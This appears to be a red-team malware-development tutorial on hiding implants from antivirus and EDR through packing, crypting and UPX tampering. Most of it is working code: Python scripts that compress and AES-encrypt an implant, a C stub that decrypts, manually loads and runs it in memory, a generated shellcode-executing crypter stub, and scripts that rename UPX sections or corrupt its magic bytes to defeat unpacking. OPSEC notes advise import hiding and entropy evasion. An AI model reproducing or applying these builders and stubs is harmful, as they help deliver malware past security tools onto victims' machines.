Legend:
[PACK]= Packing technique |[COMPRESS]= Compression method |[OBFUSCATE]= Obfuscation layer |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[MITRE]= ATT&CK mapping
1. What is Packing?
What it means: Packing is the process of compressing, encrypting, or otherwise transforming an executable so that its original code is hidden at rest. A stub (small piece of code) is prepended or embedded in the output — this stub runs at execution time, decompresses/decrypts the payload in memory, and transfers execution to it.
The core problem (without packing):
Your implant on disk (unpacked):
├─ AV scans binary on write/exec
├─ Matches known Cobalt Strike / Havoc / Meterpreter bytes
├─ Action: Flag / Block / Alert
└─ Result: Payload dead before it runs
With packing:
Packed binary on disk:
├─ AV scans → sees only compressed/encrypted blob + tiny stub
├─ Signature: NONE (no recognizable malicious patterns)
├─ Execution:
│ ├─ Stub runs (small, generic, no signatures)
│ ├─ Decompresses / decrypts payload into memory
│ └─ Jumps to original entry point → implant runs
└─ Result: Payload executes
Why packing matters for red teaming:
| Scenario | Without Packing | With Packing |
|---|---|---|
| Upload implant to disk | AV detects known bytes immediately | Encrypted blob → no match |
| Static analysis | Malicious strings/imports visible | Stub only → real code hidden |
| YARA rule match | Triggers known signatures | Packed bytes: no match |
| Hash-based detection | Known SHA256 flagged | Repacking = new hash every time |
| Reverse engineering | Analyst reads code directly | Must first unpack before analysis |
| Binary padding & size | Fixed size per msfvenom payload | Variable — compression changes output |
The packing pipeline (conceptual):
Original PE / shellcode
└─ Compress (ZLIB / LZMA / LZ77) ← Reduce size + break patterns
└─ Encrypt (AES-256 / XOR) ← Hide compressed bytes
└─ Embed in Stub EXE ← Self-extracting loader
└─ Packed Output.exe ← What lands on disk
[OPSEC] Known packers (UPX, MPRESS) are themselves signatured. AV detects the packer wrapper even without seeing your payload. Always use custom or modified packers.
[MITRE] T1027.002 — Software Packing. Used by APT29, APT39, Lazarus Group, Volt Typhoon, TeamTNT. Real-world usage includes UPX-packed Mimikatz, Themida-packed implants, and custom packers for bespoke malware.
2. Packer vs Crypter vs Protector
What it means: These three terms are often used interchangeably but have distinct meanings in malware development. All three share the same goal: hide the payload from AV/EDR and analysts.
┌─────────────────────────────────────────────────────────────────┐
│ PACKER vs CRYPTER vs PROTECTOR │
├──────────────┬──────────────────────┬────────────────────────── ┤
│ │ PACKER │ CRYPTER │ PROTECTOR │
├──────────────┼──────────────────────┼────────────┼──────────────┤
│ Core method │ Compress + optional │ Encrypt │ VM + pack + │
│ │ encrypt │ only │ anti-debug │
├──────────────┼──────────────────────┼────────────┼──────────────┤
│ Key needed? │ No (compression) │ Yes │ Depends │
├──────────────┼──────────────────────┼────────────┼──────────────┤
│ Size output │ Usually smaller │ Same or │ Usually │
│ │ │ larger │ larger │
├──────────────┼──────────────────────┼────────────┼──────────────┤
│ Anti-debug │ Rarely │ Rarely │ YES (core │
│ │ │ │ feature) │
├──────────────┼──────────────────────┼────────────┼──────────────┤
│ Examples │ UPX, MPRESS, custom │ Hyperion │ VMProtect, │
│ │ │ │ Themida │
├──────────────┼──────────────────────┼────────────┼──────────────┤
│ Unpack-able? │ YES — trivially │ Harder │ Very hard │
│ │ (UPX -d) │ │ │
└──────────────┴──────────────────────┴────────────┴──────────────┘
2.1 Packer (Runtime Packer / Self-Extracting)
Packer:
├─ Compresses original executable
├─ Adds a decompression stub to the front
├─ On run: stub decompresses payload → redirects EIP/RIP
├─ Result: Smaller file, different on-disk signature
└─ Example: UPX, MPRESS, custom LZ77 packer
2.2 Crypter
Crypter:
├─ Encrypts original executable (AES / XOR / RC4)
├─ Adds a decryption stub (holds key + decrypt logic)
├─ On run: stub decrypts payload into memory → executes
├─ Key stored in stub or fetched from C2
└─ Example: Hyperion, custom AES crypters
2.3 Protector
Protector:
├─ Combines packing + encryption
├─ Adds anti-debug / anti-VM / anti-analysis tricks
├─ Often adds code virtualization (custom VM bytecode)
├─ Designed to stop reverse engineering
└─ Example: VMProtect, Themida, ASProtect
[OPSEC] In red team practice: a "crypter" is what most operators mean when they say "packer." The actual technique is encrypt → stub. Call it what you want, just build it custom.
3. How a Packer Works — Internals
What it means: Every packer has two components — the builder (packs the file at build time) and the stub (runs at runtime, unpacks the file in memory). Understanding this split is critical for building your own.
3.1 The Builder (Pack-Time)
Builder role:
1. Read original PE / shellcode
2. Compress it (ZLIB, LZMA, LZ77, etc.)
3. Encrypt the compressed bytes (AES, XOR, etc.)
4. Embed encrypted blob into the Stub EXE (usually in .rsrc or a new section)
5. Patch the stub's entry point if needed
6. Write packed Output.exe to disk
3.2 The Stub (Runtime)
Stub role (executed when packed Output.exe runs):
1. Find embedded payload (read from resource / section offset)
2. Decrypt payload (using embedded key)
3. Decompress payload (feed to ZLIB inflate / custom decompressor)
4. Allocate RW memory (VirtualAlloc)
5. Write decompressed PE into memory buffer
6. Fix imports (manual PE loading):
├─ Parse PE headers
├─ Load required DLLs (LoadLibraryA)
├─ Resolve function addresses (GetProcAddress)
└─ Patch IAT entries
7. Handle relocations (if base differs from preferred)
8. Change memory protection: RW → RX (VirtualProtect)
9. Jump to Original Entry Point (OEP)
10. Real payload runs — everything above was the stub
3.3 PE Layout Before vs After Packing
BEFORE PACKING:
┌──────────────────────────────┐
│ DOS Header │
│ PE Header (OPTIONAL_HEADER) │
│ Section Table │
│ .text (code) │ ← AV sees your shellcode/implant here
│ .rdata (read-only data) │ ← Imports, strings visible
│ .data (global vars) │
│ .rsrc (resources) │
└──────────────────────────────┘
AFTER PACKING (UPX example):
┌──────────────────────────────┐
│ DOS Header (modified) │
│ PE Header │
│ Section Table │
│ UPX0 (zero-size on disk, │ ← Decompressed here at runtime (RWX)
│ full size in memory) │
│ UPX1 (compressed payload │ ← AV sees only compressed bytes here
│ + stub code) │
│ .rsrc (resources, optional) │
└──────────────────────────────┘
[DETECT] Indicator: Section names. UPX leaves UPX0 and UPX1 as section names. ClamAV and many AV engines detect UPX by these strings alone. Always rename or modify sections in custom packers.
[DETECT] Indicator: Virtual size >> Raw size mismatch. UPX0 has a raw size of 0 but a large virtual size. This is a packing heuristic. EDR tools flag this pattern.
4. UPX — Universal Packer for Executables
What it means: UPX is the most widely known and used open-source packer. It supports PE (Windows), ELF (Linux), and Mach-O (macOS). It uses LZMA compression internally. Beloved for its simplicity, despised because it's signatured by almost every AV.
[TOOL] UPX: https://github.com/upx/upx
4.1 Basic UPX Usage
# ── Install UPX ──────────────────────────────────────────────
# Linux
sudo apt install upx-ucl
# Windows (download binary)
# https://github.com/upx/upx/releases
# ── Pack a binary ────────────────────────────────────────────
upx implant.exe -o packed_implant.exe
# ── Maximum compression ──────────────────────────────────────
upx --best implant.exe -o packed_implant.exe
# ── Ultra brute force (slowest, smallest output) ─────────────
upx --brute implant.exe -o packed_implant.exe
# ── Unpack (what analysts do / what "upx -d" does) ───────────
upx -d packed_implant.exe
# ── Check if a file is UPX-packed ────────────────────────────
upx -l suspicious.exe
# ── Pack ELF binary (Linux) ──────────────────────────────────
upx --best implant_elf -o packed_elf
# ── Check compression ratio ──────────────────────────────────
upx -v implant.exe
4.2 UPX Section Modification (Break Simple Unpacking)
# After packing, rename UPX sections to look legitimate
# This breaks automated "upx -d" unpacking
# Python — rename UPX0/UPX1 sections to benign names
python3 << 'EOF'
import pefile
pe = pefile.PE("packed_implant.exe")
for section in pe.sections:
name = section.Name.decode('utf-8', errors='replace').strip('\x00')
if name == "UPX0":
section.Name = b".text\x00\x00\x00" # Fake .text
elif name == "UPX1":
section.Name = b".data\x00\x00\x00" # Fake .data
pe.write("packed_modified.exe")
print("[+] Sections renamed — upx -d will fail")
EOF
4.3 UPX Header Manipulation (Corrupt Magic Bytes)
#!/usr/bin/env python3
# upx_header_corrupt.py
# Corrupt UPX magic bytes — breaks automated unpackers
# Rocke APT group was observed doing exactly this (T1027)
import struct
def corrupt_upx_magic(packed_file: str, output_file: str):
with open(packed_file, "rb") as f:
data = bytearray(f.read())
# UPX magic bytes: b"UPX!"
upx_magic = b"UPX!"
positions = []
i = 0
while True:
pos = data.find(upx_magic, i)
if pos == -1:
break
positions.append(pos)
i = pos + 1
if not positions:
print("[-] UPX magic bytes not found — already modified or not UPX")
return
print(f"[*] Found UPX magic at {len(positions)} location(s): {[hex(p) for p in positions]}")
# Corrupt each magic (replace UPX! with junk)
for pos in positions:
data[pos:pos+4] = b"\xFF\xFF\xFF\xFF" # Replace magic
with open(output_file, "wb") as f:
f.write(data)
print(f"[+] Written to {output_file}")
print(f"[+] upx -d will now fail on this binary")
corrupt_upx_magic("packed_implant.exe", "packed_modified.exe")
[OPSEC] UPX is blacklisted. Most AV engines detect UPX-packed binaries even before inspecting the payload. Always combine UPX with another layer (crypter) or replace UPX entirely with a custom packer.
[OPSEC] UPX detection via hash. Because UPX is deterministic, the same input → same output. AV vendors hash-match common UPX outputs. Combine with modifications above.
5. Custom Packer — Build Your Own
What it means: Building a custom packer gives you full control over how the payload is packed, encrypted, and unpacked at runtime. Custom packers have no known signatures and every rebuild produces different bytes. This is the gold standard for red team payload delivery.
5.1 Architecture Overview
Custom Packer Architecture:
┌────────────┐ Builder (Python/C) ┌──────────────────┐
│ implant.exe│ ──── compress + encrypt ──► │ Stub.exe │
│ (payload) │ │ ┌────────────┐ │
└────────────┘ │ │ encrypted │ │
│ │ payload │ │ ← .rsrc section
│ │ blob │ │
│ └────────────┘ │
│ ┌────────────┐ │
│ │ decrypt + │ │ ← .text section
│ │ decompress │ │
│ │ stub code │ │
│ └────────────┘ │
└──────────────────┘
Packed.exe
(ships to target)
5.2 Python Builder — Pack + Encrypt
#!/usr/bin/env python3
# builder.py — Custom PE packer (builder component)
# Compresses + AES-encrypts payload → injects into stub
import os
import sys
import zlib
import struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
# ─── CONFIG ──────────────────────────────────────────────────
PAYLOAD_FILE = "implant.exe" # Input PE (your beacon/implant)
STUB_FILE = "stub.exe" # Pre-compiled stub (see §5.3)
OUTPUT_FILE = "packed.exe" # Output packed binary
RSRC_MARKER = b"PAYLOAD_BLOB_" # Marker in stub to overwrite
# ─────────────────────────────────────────────────────────────
def compress(data: bytes) -> bytes:
"""ZLIB compress the payload."""
compressed = zlib.compress(data, level=9)
print(f"[*] Compression: {len(data)} → {len(compressed)} bytes "
f"({len(compressed)/len(data)*100:.1f}%)")
return compressed
def encrypt(data: bytes) -> tuple[bytes, bytes, bytes]:
"""AES-256-CBC encrypt. Returns (ciphertext, key, iv)."""
key = os.urandom(32) # 256-bit key
iv = os.urandom(16) # 128-bit IV
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(data, AES.block_size))
return ciphertext, key, iv
def inject_into_stub(stub: bytes, payload: bytes, key: bytes, iv: bytes) -> bytes:
"""
Inject encrypted payload blob + key + IV into stub binary.
The stub has a known marker where the builder writes payload size + blob.
"""
marker_pos = stub.find(RSRC_MARKER)
if marker_pos == -1:
raise ValueError(f"Marker {RSRC_MARKER!r} not found in stub!")
# Build blob: [payload_len (4 bytes)] + [key (32)] + [iv (16)] + [ciphertext]
blob = struct.pack("<I", len(payload))
blob += key
blob += iv
blob += payload
# Pad to ensure we don't overflow reserved space (pre-allocate in stub)
reserved_size = len(stub) - marker_pos - len(RSRC_MARKER)
if len(blob) > reserved_size:
raise ValueError(f"Payload too large: {len(blob)} > {reserved_size} reserved bytes")
patched = bytearray(stub)
# Overwrite marker + following space with blob
patched[marker_pos:marker_pos + len(RSRC_MARKER) + len(blob)] = (
RSRC_MARKER + blob
)
return bytes(patched)
def main():
print("[*] Custom Packer Builder")
print(f"[*] Payload: {PAYLOAD_FILE}")
print(f"[*] Stub: {STUB_FILE}")
print(f"[*] Output: {OUTPUT_FILE}")
print()
with open(PAYLOAD_FILE, "rb") as f:
payload = f.read()
with open(STUB_FILE, "rb") as f:
stub = f.read()
print(f"[*] Payload size (original): {len(payload)} bytes")
# Step 1: Compress
compressed = compress(payload)
# Step 2: Encrypt
ciphertext, key, iv = encrypt(compressed)
print(f"[*] Encrypted size: {len(ciphertext)} bytes")
print(f"[*] AES Key: {key.hex()}")
print(f"[*] AES IV: {iv.hex()}")
# Step 3: Inject into stub
packed = inject_into_stub(stub, ciphertext, key, iv)
# Step 4: Write output
with open(OUTPUT_FILE, "wb") as f:
f.write(packed)
print(f"\n[+] Packed binary written: {OUTPUT_FILE}")
print(f"[+] Packed size: {len(packed)} bytes")
print(f"[+] Compression ratio: {len(ciphertext)/len(payload)*100:.1f}% of original")
main()
5.3 C Stub — Runtime Decompressor / Decryptor
// stub.c — Runtime stub for custom packer
// Finds embedded payload, decrypts (AES-256-CBC), decompresses (ZLIB),
// manually loads PE into memory, jumps to OEP
//
// Compile: cl.exe stub.c /Fe:stub.exe /link bcrypt.lib
// Or: x86_64-w64-mingw32-gcc stub.c -o stub.exe -lbcrypt -lz
#include <windows.h>
#include <bcrypt.h>
#include <zlib.h>
#include <stdio.h>
// ── Marker — builder patches bytes after this ─────────────────
// Reserve 4MB for payload blob (adjust as needed)
#pragma section(".payload", read, write)
__declspec(allocate(".payload"))
unsigned char PAYLOAD_BLOB_[4 * 1024 * 1024] = { 0 };
// ─────────────────────────────────────────────────────────────
typedef NTSTATUS (WINAPI *pBCryptOpenAlgorithmProvider)(
BCRYPT_ALG_HANDLE*, LPCWSTR, LPCWSTR, ULONG);
typedef NTSTATUS (WINAPI *pBCryptSetProperty)(
BCRYPT_HANDLE, LPCWSTR, PUCHAR, ULONG, ULONG);
typedef NTSTATUS (WINAPI *pBCryptGenerateSymmetricKey)(
BCRYPT_ALG_HANDLE, BCRYPT_KEY_HANDLE*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG);
typedef NTSTATUS (WINAPI *pBCryptDecrypt)(
BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG);
typedef NTSTATUS (WINAPI *pBCryptDestroyKey)(BCRYPT_KEY_HANDLE);
typedef NTSTATUS (WINAPI *pBCryptCloseAlgorithmProvider)(BCRYPT_ALG_HANDLE, ULONG);
// ── AES-256-CBC Decrypt using BCrypt API ─────────────────────
BOOL aes_decrypt(
BYTE* ciphertext, DWORD ct_len,
BYTE* key, DWORD key_len,
BYTE* iv, DWORD iv_len,
BYTE** plaintext, DWORD* pt_len)
{
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
NTSTATUS status = 0;
DWORD cbData = 0;
BYTE ivCopy[16];
HMODULE hBcrypt = LoadLibraryA("bcrypt.dll");
pBCryptOpenAlgorithmProvider fpOpen = (pBCryptOpenAlgorithmProvider)
GetProcAddress(hBcrypt, "BCryptOpenAlgorithmProvider");
pBCryptSetProperty fpSetProp = (pBCryptSetProperty)
GetProcAddress(hBcrypt, "BCryptSetProperty");
pBCryptGenerateSymmetricKey fpGenKey = (pBCryptGenerateSymmetricKey)
GetProcAddress(hBcrypt, "BCryptGenerateSymmetricKey");
pBCryptDecrypt fpDecrypt = (pBCryptDecrypt)
GetProcAddress(hBcrypt, "BCryptDecrypt");
pBCryptDestroyKey fpDelKey = (pBCryptDestroyKey)
GetProcAddress(hBcrypt, "BCryptDestroyKey");
pBCryptCloseAlgorithmProvider fpClose = (pBCryptCloseAlgorithmProvider)
GetProcAddress(hBcrypt, "BCryptCloseAlgorithmProvider");
fpOpen(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
fpSetProp(hAlg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
// Key object buffer (size query then alloc omitted for brevity —
// use BCryptGetProperty(BCRYPT_OBJECT_LENGTH) in production)
BYTE keyObj[1024] = {0};
fpGenKey(hAlg, &hKey, keyObj, sizeof(keyObj), key, key_len, 0);
// BCrypt modifies IV in place — make a copy
memcpy(ivCopy, iv, iv_len);
// Query output size
fpDecrypt(hKey, ciphertext, ct_len, NULL, ivCopy, iv_len,
NULL, 0, &cbData, BCRYPT_BLOCK_PADDING);
*plaintext = (BYTE*)VirtualAlloc(NULL, cbData, MEM_COMMIT, PAGE_READWRITE);
memcpy(ivCopy, iv, iv_len); // Reset IV after query
fpDecrypt(hKey, ciphertext, ct_len, NULL, ivCopy, iv_len,
*plaintext, cbData, pt_len, BCRYPT_BLOCK_PADDING);
fpDelKey(hKey);
fpClose(hAlg, 0);
return TRUE;
}
// ── ZLIB Decompress ──────────────────────────────────────────
BYTE* zlib_decompress(BYTE* in, ULONG in_len, ULONG* out_len) {
// Allocate generous output buffer (10x compressed size)
*out_len = in_len * 10;
BYTE* out = (BYTE*)VirtualAlloc(NULL, *out_len, MEM_COMMIT, PAGE_READWRITE);
uLongf dest_len = *out_len;
uncompress(out, &dest_len, in, in_len);
*out_len = (ULONG)dest_len;
return out;
}
// ── Manual PE Loader ─────────────────────────────────────────
void load_and_run_pe(BYTE* raw_pe, SIZE_T pe_size) {
IMAGE_DOS_HEADER* dos_hdr = (IMAGE_DOS_HEADER*)raw_pe;
IMAGE_NT_HEADERS* nt_hdrs = (IMAGE_NT_HEADERS*)(raw_pe + dos_hdr->e_lfanew);
IMAGE_OPTIONAL_HEADER opt_hdr = nt_hdrs->OptionalHeader;
IMAGE_SECTION_HEADER* sections = IMAGE_FIRST_SECTION(nt_hdrs);
// Allocate memory at preferred base (or any base)
LPVOID base = VirtualAlloc(
(LPVOID)opt_hdr.ImageBase,
opt_hdr.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (!base)
base = VirtualAlloc(NULL, opt_hdr.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy headers
memcpy(base, raw_pe, opt_hdr.SizeOfHeaders);
// Copy sections
for (WORD i = 0; i < nt_hdrs->FileHeader.NumberOfSections; i++) {
if (sections[i].SizeOfRawData == 0) continue;
BYTE* dst = (BYTE*)base + sections[i].VirtualAddress;
BYTE* src = raw_pe + sections[i].PointerToRawData;
memcpy(dst, src, sections[i].SizeOfRawData);
}
// Fix relocations (delta from preferred base)
ULONGLONG delta = (ULONGLONG)base - opt_hdr.ImageBase;
if (delta != 0) {
IMAGE_DATA_DIRECTORY reloc_dir = opt_hdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
IMAGE_BASE_RELOCATION* reloc = (IMAGE_BASE_RELOCATION*)
((BYTE*)base + reloc_dir.VirtualAddress);
while (reloc->VirtualAddress) {
WORD* entries = (WORD*)(reloc + 1);
DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
for (DWORD j = 0; j < count; j++) {
if ((entries[j] >> 12) == IMAGE_REL_BASED_DIR64) {
ULONGLONG* patch = (ULONGLONG*)
((BYTE*)base + reloc->VirtualAddress + (entries[j] & 0xFFF));
*patch += delta;
}
}
reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)reloc + reloc->SizeOfBlock);
}
}
// Fix imports (resolve DLL functions)
IMAGE_DATA_DIRECTORY import_dir = opt_hdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
IMAGE_IMPORT_DESCRIPTOR* import = (IMAGE_IMPORT_DESCRIPTOR*)
((BYTE*)base + import_dir.VirtualAddress);
while (import->Name) {
HMODULE dll = LoadLibraryA((LPCSTR)((BYTE*)base + import->Name));
IMAGE_THUNK_DATA* thunk = (IMAGE_THUNK_DATA*)
((BYTE*)base + import->FirstThunk);
IMAGE_THUNK_DATA* oth = (IMAGE_THUNK_DATA*)
((BYTE*)base + import->OriginalFirstThunk);
while (thunk->u1.AddressOfData) {
if (IMAGE_SNAP_BY_ORDINAL(oth->u1.Ordinal)) {
thunk->u1.Function = (ULONG_PTR)
GetProcAddress(dll, (LPCSTR)IMAGE_ORDINAL(oth->u1.Ordinal));
} else {
IMAGE_IMPORT_BY_NAME* ibn = (IMAGE_IMPORT_BY_NAME*)
((BYTE*)base + oth->u1.AddressOfData);
thunk->u1.Function = (ULONG_PTR)
GetProcAddress(dll, ibn->Name);
}
thunk++; oth++;
}
import++;
}
// Mark sections executable
DWORD oldProt;
VirtualProtect(base, opt_hdr.SizeOfImage, PAGE_EXECUTE_READWRITE, &oldProt);
// Call TLS callbacks if present (some PEs need this)
// (skipped for brevity — add BCryptHashData TLS calls here for full compat)
// Jump to OEP
ULONG_PTR oep = (ULONG_PTR)base + opt_hdr.AddressOfEntryPoint;
((void(*)())oep)();
}
int main(void) {
// ── Parse embedded blob ──────────────────────────────────
// Blob layout (written by builder.py):
// [4 bytes: payload_len] [32 bytes: AES key] [16 bytes: IV] [N bytes: ciphertext]
BYTE* blob = PAYLOAD_BLOB_ + sizeof("PAYLOAD_BLOB_") - 1;
DWORD ct_len = *(DWORD*)blob; blob += 4;
BYTE* aes_key = blob; blob += 32;
BYTE* aes_iv = blob; blob += 16;
BYTE* ciphertext = blob;
// ── Step 1: Decrypt ──────────────────────────────────────
BYTE* compressed; DWORD compressed_len;
aes_decrypt(ciphertext, ct_len,
aes_key, 32, aes_iv, 16,
&compressed, &compressed_len);
// ── Step 2: Decompress ───────────────────────────────────
ULONG pe_size;
BYTE* pe_data = zlib_decompress(compressed, compressed_len, &pe_size);
VirtualFree(compressed, 0, MEM_RELEASE);
// ── Step 3: Load + Run ───────────────────────────────────
load_and_run_pe(pe_data, pe_size);
return 0;
}
[OPSEC] IAT (Import Address Table) hiding. If your stub calls VirtualAlloc, VirtualProtect, LoadLibraryA, GetProcAddress directly in its import table, EDR flags those immediately. Use dynamic API resolution via hash (see §15.2) to hide these calls.
6. Compression-Based Packing (ZLIB / LZMA / LZ77)
What it means: Compression reduces binary size and completely changes byte patterns. High-entropy compressed data breaks simple pattern-matching. Different algorithms offer different trade-offs between speed, ratio, and tooling support.
6.1 ZLIB Compression (Python — Compress/Decompress)
#!/usr/bin/env python3
# zlib_pack.py — Compress payload with ZLIB, output as C array
import zlib
import sys
def compress_payload(data: bytes, level: int = 9) -> bytes:
"""ZLIB compress. Level 1=fastest, 9=best compression."""
return zlib.compress(data, level=level)
def to_c_array(data: bytes, var_name: str = "compressed") -> str:
"""Convert bytes to C unsigned char array."""
lines = []
lines.append(f"// ZLIB-compressed payload — decompress with zlib uncompress()")
lines.append(f"unsigned int {var_name}_len = {len(data)};")
lines.append(f"unsigned char {var_name}[] = {{")
for i in range(0, len(data), 12):
chunk = data[i:i+12]
lines.append(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
lines.append("};")
return "\n".join(lines)
with open("implant.exe", "rb") as f:
payload = f.read()
compressed = compress_payload(payload)
ratio = len(compressed) / len(payload) * 100
print(f"[*] Original: {len(payload):,} bytes")
print(f"[*] Compressed: {len(compressed):,} bytes ({ratio:.1f}% of original)")
print()
print(to_c_array(compressed, "packed_payload"))
6.2 LZMA Compression (Python — Maximum Ratio)
#!/usr/bin/env python3
# lzma_pack.py — Higher compression ratio than ZLIB
import lzma
import struct
def lzma_compress(data: bytes) -> bytes:
"""LZMA compress — better ratio than ZLIB, slower."""
compressed = lzma.compress(data, preset=9)
return compressed
def lzma_decompress(data: bytes) -> bytes:
return lzma.decompress(data)
with open("implant.exe", "rb") as f:
payload = f.read()
compressed = lzma_compress(payload)
print(f"[*] Original: {len(payload):,} bytes")
print(f"[*] LZMA: {len(compressed):,} bytes ({len(compressed)/len(payload)*100:.1f}%)")
# Save for embedding in stub
with open("payload.lzma", "wb") as f:
# Prepend original size (needed for decompressor buffer allocation)
f.write(struct.pack("<Q", len(payload)))
f.write(compressed)
print("[+] Written: payload.lzma (prepended with original size)")
6.3 ZLIB Decompression in C (Stub-Side)
// zlib_decompress_stub.c — Runtime decompression in the stub
// Link with: -lz (MinGW) or compile zlib source in
#include <windows.h>
#include <zlib.h>
// data = compressed payload bytes (from ZLIB compress)
// data_len = compressed size
// returns = pointer to decompressed PE in allocated memory
BYTE* decompress_payload(BYTE* data, DWORD data_len, ULONG* out_len) {
// Allocate output — compressed data gives ~50-70% reduction,
// so 5x is a safe overestimate for most PEs
*out_len = data_len * 5;
BYTE* out_buf = (BYTE*)VirtualAlloc(NULL, *out_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!out_buf) return NULL;
uLongf dest_len = (uLongf)*out_len;
int result = uncompress(out_buf, &dest_len, data, (uLong)data_len);
if (result != Z_OK) {
VirtualFree(out_buf, 0, MEM_RELEASE);
return NULL;
}
*out_len = (ULONG)dest_len;
return out_buf;
}
6.4 Compression Algorithms Compared
Algorithm | Ratio | Speed | Lib Size | C Support | Notes
──────────────────────────────────────────────────────────────────
LZ77 | Low | Very Fast | Tiny | Easy | Custom, no deps
ZLIB/Deflate| Medium| Fast | ~80KB | Good | Most common
LZMA | High | Slow | ~200KB | Good | 7zip/XZ format
Brotli | High | Slow | ~300KB | Moderate | Rare in maldev
Huffman | Low-Med| Fast | Tiny | Easy | Pair with others
MPRESS | Medium | Fast | Built-in | N/A | Packer-specific
[OPSEC] High compression = high entropy. Compressed data has very high entropy (~7.8-8.0). Static analysis tools flag high-entropy blobs. Add random-looking padding or use a low-entropy encoding wrapper on top if needed.
7. Crypter Packing (Encrypt + Stub)
What it means: A crypter packs a payload by encrypting it (not just compressing). The encrypted output is stored alongside a decryption stub. At runtime, the stub decrypts the payload into memory and executes it. No AV signature can match the encrypted ciphertext.
7.1 Hyperion — AES Crypter
[TOOL] Hyperion: https://github.com/nullsecuritynet/tools/tree/master/binary/hyperion/release
# Hyperion — AES crypter for PE files
# Encrypts PE with AES-128, adds decryption stub
# Stub brute-forces the key at runtime (by design — no key storage!)
# Clone and build
git clone https://github.com/nullsecuritynet/tools
cd tools/binary/hyperion/release
# Pack a Windows PE
wine hyperion.exe implant.exe packed_implant.exe
# Or use Wine on Linux
hyperion implant.exe packed_implant.exe
# Hyperion + UPX (double layer)
wine hyperion.exe implant.exe hyp_implant.exe
upx hyp_implant.exe -o final.exe
# ProtectMyTooling chain: Hyperion → UPX
py ProtectMyTooling.py hyperion,upx implant.exe output.exe
7.2 Custom Crypter in Python (Builder)
#!/usr/bin/env python3
# crypter_builder.py
# Encrypt PE with AES-256-CBC → embed key in stub template
# Real ops: derive key from environment (§7.4)
import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
def build_crypted(payload_file: str, output_c: str):
"""
Produces a .c file that is both the stub AND contains the encrypted payload.
Compile this .c file to get the crypted binary.
"""
with open(payload_file, "rb") as f:
payload = f.read()
key = os.urandom(32) # AES-256 key
iv = os.urandom(16) # CBC IV
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(payload, AES.block_size))
print(f"[*] Payload: {len(payload)} bytes")
print(f"[*] Encrypted: {len(encrypted)} bytes")
print(f"[*] Key: {key.hex()}")
print(f"[*] IV: {iv.hex()}")
def to_hex_array(b: bytes, var: str) -> str:
lines = [f"unsigned char {var}[] = {{"]
for i in range(0, len(b), 12):
chunk = b[i:i+12]
lines.append(" " + ", ".join(f"0x{x:02x}" for x in chunk) + ",")
lines.append("};")
lines.append(f"unsigned int {var}_len = {len(b)};")
return "\n".join(lines)
stub_c = f"""
// Auto-generated by crypter_builder.py
// Compile: x86_64-w64-mingw32-gcc stub.c -o crypter.exe -lbcrypt
#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>
// ── Embedded encrypted payload ────────────────────────────────
{to_hex_array(encrypted, "enc_payload")}
{to_hex_array(key, "aes_key")}
{to_hex_array(iv, "aes_iv")}
// ── AES-256-CBC decrypt (BCrypt) ──────────────────────────────
BYTE* aes_cbc_decrypt(BYTE* ct, DWORD ct_len,
BYTE* key, BYTE* iv,
DWORD* out_len) {{
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
BYTE keyObj[1024] = {{0}};
BYTE ivCopy[16];
DWORD cbResult;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
BCryptGenerateSymmetricKey(hAlg, &hKey, keyObj,
sizeof(keyObj), key, 32, 0);
memcpy(ivCopy, iv, 16);
BCryptDecrypt(hKey, ct, ct_len, NULL, ivCopy, 16,
NULL, 0, &cbResult, BCRYPT_BLOCK_PADDING);
BYTE* out = (BYTE*)VirtualAlloc(NULL, cbResult,
MEM_COMMIT, PAGE_READWRITE);
memcpy(ivCopy, iv, 16);
BCryptDecrypt(hKey, ct, ct_len, NULL, ivCopy, 16,
out, cbResult, out_len, BCRYPT_BLOCK_PADDING);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return out;
}}
// ── Main ──────────────────────────────────────────────────────
int main(void) {{
DWORD dec_len = 0;
BYTE* dec_pe = aes_cbc_decrypt(
enc_payload, enc_payload_len,
aes_key, aes_iv, &dec_len
);
if (!dec_pe) return 1;
// Allocate RX memory and copy + execute
// (Full manual PE load or simple shellcode exec below)
LPVOID exec_mem = VirtualAlloc(NULL, dec_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, dec_pe, dec_len);
VirtualFree(dec_pe, 0, MEM_RELEASE);
// If payload is raw shellcode (not a full PE):
((void(*)())exec_mem)();
// For full PE payloads — use manual PE loader from §5.3
return 0;
}}
"""
with open(output_c, "w") as f:
f.write(stub_c)
print(f"[+] Stub C file written: {output_c}")
print(f"[+] Compile: x86_64-w64-mingw32-gcc {output_c} -o crypter.exe -lbcrypt")
build_crypted("implant.exe", "stub_output.c")
